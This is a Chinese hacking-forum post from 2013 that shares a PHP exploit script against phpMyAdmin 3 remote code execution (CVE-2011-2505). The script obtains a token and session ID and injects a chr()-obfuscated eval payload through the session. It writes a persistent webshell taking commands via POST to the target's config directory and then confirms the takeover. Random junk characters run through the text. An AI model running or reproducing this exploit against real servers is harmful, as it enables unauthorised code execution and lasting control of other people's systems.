找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2203|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。8 d5 T7 m4 A  s6 |# p* [- x: Z# A
' k: z! Z2 ]& T. \& r4 V" ]
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。1 G$ D- n+ e  d, ]0 S  H
/ B+ x5 E- ]& u. ?* K) T+ t9 C
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:" w8 n5 R8 g5 [
一是session.auto_start = 1;+ n( [$ R& O+ S8 W- C5 O2 q
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
4 y7 s: U& u: f2 t当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
" _# z- h$ o: O. t$ ~: H  B! ~6 \4 ?: b2 A; E
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。$ ]6 h) J$ }7 i8 _& ]0 @$ T
9 T# z! U; e1 U& @
于是写了这个php版本的exp,代码如下:
' d; ~' o" o6 _$ C2 f; X. @  [2 T4 o" J
#!/usr/bin/php
/ o2 r, Z" t% m<?php
, K  e3 O0 T. b! Q' |print_r('
/ b6 ?4 l0 }0 {) O% `) t8 _8 _+---------------------------------------------------------------------------+
' t( g/ f: |4 _2 m1 L% N0 w. u7 Upma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" Z2 P  p6 M% S3 t' j3 |0 L
by oldjun(www.oldjun.com)) b+ C6 @6 [4 I) t
welcome to www.t00ls.net
$ W9 G2 d- v% ^( J- kmail: oldjun@gmail.com
8 E( M* _( q) h- R  S; t5 w1 }3 UAssigned CVE id: CVE-2011-2505: K4 a& R: P; k0 P  O
+---------------------------------------------------------------------------+" a. M  k' W2 E, R/ d/ W! D% ?# I
');- s, f) g! f' `. }
0 k/ M3 ?& s. u$ Y) B. h
/**
2 Y" e1 B- A7 t% k* @* O * working when the directory:"config" exists and is writeable.
2 b2 |5 j1 Q6 k* Y**/1 n( i( e# a: n

: F9 Y8 q' d  ?# f5 }$ d8 d. nif ($argc < 3) {
5 v, v: A, [& a4 a    print_r('
2 r5 b( J" ~# q  `+---------------------------------------------------------------------------+
  [: t( X: E8 N' `7 zUsage: php '.$argv[0].' host path
$ W* W! l* t3 r. ^. W  B7 ~host:      target server (ip/hostname)' |/ d0 g' Y1 B7 V/ X: w, e
path:      path to pma3
0 W  }, N; T1 F9 X4 bExample:
2 n- Y4 U! w& p! V, [php '.$argv[0].' localhost /pma/
! C: t3 k, A! g) |+---------------------------------------------------------------------------+  n; b$ @8 N# F6 ^
');6 D8 H" {7 i2 x/ G" C' V9 ]! ]
    exit;' {4 e+ j$ ~7 b$ u6 }
}
2 j  B9 f# `2 w1 r, `
1 }3 g0 H$ q9 q7 q" ]6 i$host = $argv[1];
/ X, Z: [8 a, _% O1 e3 O& C& y- z# F$path = $argv[2];. O# R4 S) i$ S6 I; h/ C

9 J$ W' q" g8 i: F$ ?5 f/**
: i  P  v' K8 K* r! Q! p0 r * Try to determine if the directory:"config" exists; e$ F( Y7 k: c7 C. p
**/0 V- ?+ B, K# M( d
echo "[+] Try to determine if the directory:config exists....\n";
' _! v& i% D+ ^  G  l: B$returnstr=php_request('config/');6 x" m  ~- _$ Z4 T
if(strpos($returnstr,'404')){& q, \8 u- b- f' p% G% Z, \* u& \
    exit("[-] Exploit Failed! The directory:config do not exists!\n");$ }/ Z0 C  ~/ y4 g, h- i3 C
}: k7 Y$ e$ A: D
$ `2 }6 x3 O' U& E( N- c
/**
- |8 f) v# f$ w$ W" u& N9 b * Try to get token and sessionid
8 f5 s6 h' ~( Q**/
+ e; ]- X+ e& d* B$ y2 ^echo "[+] Try to get token and sessionid....\n";5 i- u6 h4 S4 T- @# L9 o
$result=php_request('index.php');9 H2 H2 S3 Q2 M/ V9 k
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
4 c' n" _) `- B9 s( d. y$token=$resp[3];. Z7 ?! w1 x4 A
$sessionid=$resp[1];% r$ v+ H: ]8 E: `' \* z" o0 O
if($token && $sessionid){. \2 z6 }( c- m# a. Q: p7 ~5 J3 s
    echo "[+] tokentoken\n";- |& `# j  O+ B8 h5 L# R* ?% b
    echo "[+] Session IDsessionid\n";! e5 T1 ?% \( Z/ @
}else{+ t$ {$ U7 P6 M+ s( W! l
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
) b( C9 U$ N* Z5 }}
1 H! C2 H% K/ O5 l, Q6 i$ W2 n
9 B5 n2 A9 K2 m& C/**
& H1 E& p7 B* p( S * Try to insert shell into session
/ A6 I9 V6 U. F/ d/ ]7 T4 l**/, o; `# A, \% W
echo "[+] Try to insert shell into session....\n";
6 m+ V1 x4 I5 g+ d; ~) Lphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
8 E2 ^2 o& e/ v! D7 t& B1 U9 M8 x' ]( T4 C7 H, @4 P& e
/**7 s: l' t* T7 d. C: y# \
* Try to create webshell
& P& K) h: x$ @- B  i8 f**/
# @2 }3 E& E4 x' q) \' }" necho "[+] Try to create webshell....\n";1 L8 e3 E/ E( D- O& z3 H
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);5 v# q0 M" d0 {; e0 I) F
/*** f$ o7 m& x" I0 a1 p) B
* Try to check if the webshell was created successfully7 i$ Z( s# B$ g
**/+ p' b! V/ I: j+ P$ N7 W
echo "[+] Try to check if the webshell was created successfully....\n";
# G: h/ Q3 z5 V, S4 [, S$content=php_request('config/config.inc.php');
2 g; c  J/ I9 X2 ^" X4 P" dif(strpos($content,'t00ls')){) A  I1 F" T! ?- h4 k% Z; c
    echo "[+] Congratulations! Expoilt successfully....\n";
4 n4 v  u- X: j4 g* Z    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";9 ~9 M, \# Y. K
}else{
8 @! H- v) ?( v" V. L/ a; p    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");) g; g$ t; T3 k$ B- b% V( L* r, j
}
( m: J4 W! {5 q0 G2 C' V% p5 b; h
3 C) g1 N$ M! \/ y6 Gfunction php_request($url,$data='',$cookie=''){% \6 M/ G7 d* H/ F/ w% H
    global  $host, $path;
, i7 t1 |  w% q   
8 `! C  X! F( z+ }. Z& i    $method=$data?'POST':'GET';
) [( [9 k# J3 ~8 b1 r) [    . t& n: Y' e7 g/ I0 k: W1 V
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";- u+ W4 @4 _7 V3 r& M
    $packet .= "Accept: */*\r\n";4 ~# m5 N5 F  ^0 I' ~/ u6 F
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
8 ^5 Z1 e4 f) M% m) m: K    $packet .= "Host: $host\r\n";; T1 E( ~5 K! [
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
" [& X8 v+ L7 j. {3 t6 O% t    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";- X4 J* B( c  u; B. ]1 J: c' y
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ l! ^: H4 {) m5 L' ^    $packet .= "Connection: Close\r\n\r\n";# Y$ c. _* w, U9 Q1 y7 A- k4 W3 r2 K
    $packet .= $data?$data:"";- @$ t" q3 D0 K6 T( t) e8 o

" O; i* h) o- h& M    $fp = fsockopen(gethostbyname($host), 80);
8 n8 n  Z0 X* G/ t    if (!$fp) {9 e- N+ }3 P5 w# U6 I5 a
    echo 'No response from '.$host; die;
, U! ?' E+ @- e6 M' o8 c    }
) s! f1 l9 H  h    fputs($fp, $packet);
; p+ x- k9 F% m! w
, V: J0 C( |0 N+ m* e    $resp = '';
9 V. k8 \, d4 p' {2 T* b4 W; E
0 I$ K$ p& U1 Q9 z4 w( O3 O    while ($fp && !feof($fp))
% \' {4 l: t' T: T1 g0 w        $resp .= fread($fp, 1024);' p6 \( ^8 M$ n" Q* T
, O5 V0 T5 M( b
    return $resp;
+ s. H, T, {0 s0 O/ }  D  i; s, I}
( ~5 ]1 S! p  ?8 o% P0 t   
3 x& ~+ O- p* G  A' y5 {# x0 k?>
; F* X" l, W2 J  f.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表